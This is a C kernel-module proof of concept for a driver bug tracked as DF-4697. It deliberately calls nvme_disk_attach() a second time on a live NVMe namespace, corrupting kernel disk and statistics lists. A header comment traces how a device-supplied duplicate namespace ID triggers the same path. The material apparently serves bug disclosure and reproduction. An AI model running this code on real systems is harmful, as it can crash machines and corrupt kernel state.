DF-4697 / df4697.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 | /* * DF-4697 PoC -- nvme(4) duplicate-nsid double nvme_disk_attach() * * sys/dev/disk/nvme/nvme_admin.c, nvme_admin_state_identify_ns(): * the ACTIVE NAMESPACE LIST returned by the controller is fully * device-controlled. For every entry it unconditionally runs * nvme_disk_attach(nsc). If the same nsid appears twice, the nsid scan * (nvme_admin.c:636-640) finds the FIRST, already-attached nvme_softns_t * and the second occurrence re-runs the attach on the live object: * * nvme_disk.c:78 devstat_add_entry(&nsc->stats, ...) a 2nd time * -> global device_statq STAILQ corrupted * nvme_disk.c:82 disk_create(nsc->unit, &nsc->disk, ...) a 2nd time * -> subr_disk.c:708 bzero()s the LIVE struct disk * while it is linked in the global disklist, * -> subr_disk.c:755 LIST_INSERT_HEAD of the same node * again -> self-loop / lost tail of disklist * -> duplicate /dev/nvmeN cdevs (kern_conf.c:271 * make_only_dev / make_dev_covering never check * for an existing name/devid) * * The exact same sequence happens later at controller detach/shutdown * with a NORMAL single nvme_disk_detach() -- walking/destroying the * corrupted lists. * * This module reproduces the second nvme_disk_attach() call frame-for- * frame (the unmodified victim code path) on a real, live namespace of * the QEMU-attached controller. The ONLY difference to the real trigger * is the injection point: stock QEMU cannot emit a duplicated active-ns * list entry (its nsids are unique by construction), so the duplicate * decision the admin thread would make is injected here instead. * Unloading the module performs the normal single detach. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/lock.h> #include "nvme.h" /* globals from sys/dev/disk/nvme/nvme_attach.c:50-51 */ TAILQ_HEAD(nvme_sc_qh, nvme_softc); extern struct nvme_sc_qh nvme_sc_list; extern struct lock nvme_master_lock; static nvme_softc_t *saved_sc; static nvme_softns_t *saved_nsc; static int df4697_load(void) { nvme_softc_t *sc; nvme_softns_t *nsc; int i; lockmgr(&nvme_master_lock, LK_EXCLUSIVE); sc = TAILQ_FIRST(&nvme_sc_list); lockmgr(&nvme_master_lock, LK_RELEASE); if (sc == NULL) { kprintf("df4697: no nvme controller attached\n"); return ENODEV; } nsc = NULL; for (i = 0; i < NVME_MAX_NAMESPACES; ++i) { if (sc->nscary[i] != NULL) { nsc = sc->nscary[i]; break; } } if (nsc == NULL) { kprintf("df4697: no namespace attached\n"); return ENODEV; } kprintf("df4697: target controller=%p nsid=%u unit=%d cdev(before)=%p\n", sc, nsc->nsid, nsc->unit, nsc->cdev); /* * == THE BUG == * Second nvme_disk_attach() on the live namespace -- exactly the * call nvme_admin.c:680 makes for a duplicated active-ns entry. */ nvme_disk_attach(nsc); kprintf("df4697: second nvme_disk_attach() returned, disklist and " "device_statq are corrupted (cdev(after)=%p)\n", nsc->cdev); saved_sc = sc; saved_nsc = nsc; return 0; } static int df4697_modev(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: return df4697_load(); case MOD_UNLOAD: if (saved_nsc) { kprintf("df4697: normal single detach (as controller " "teardown does)\n"); nvme_disk_detach(saved_nsc); saved_nsc = NULL; } kprintf("df4697: unloaded; run 'sysctl -n kern.disks' now\n"); return 0; default: return 0; } } static moduledata_t df4697_mod = { "df4697", df4697_modev, NULL }; DECLARE_MODULE(df4697, df4697_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |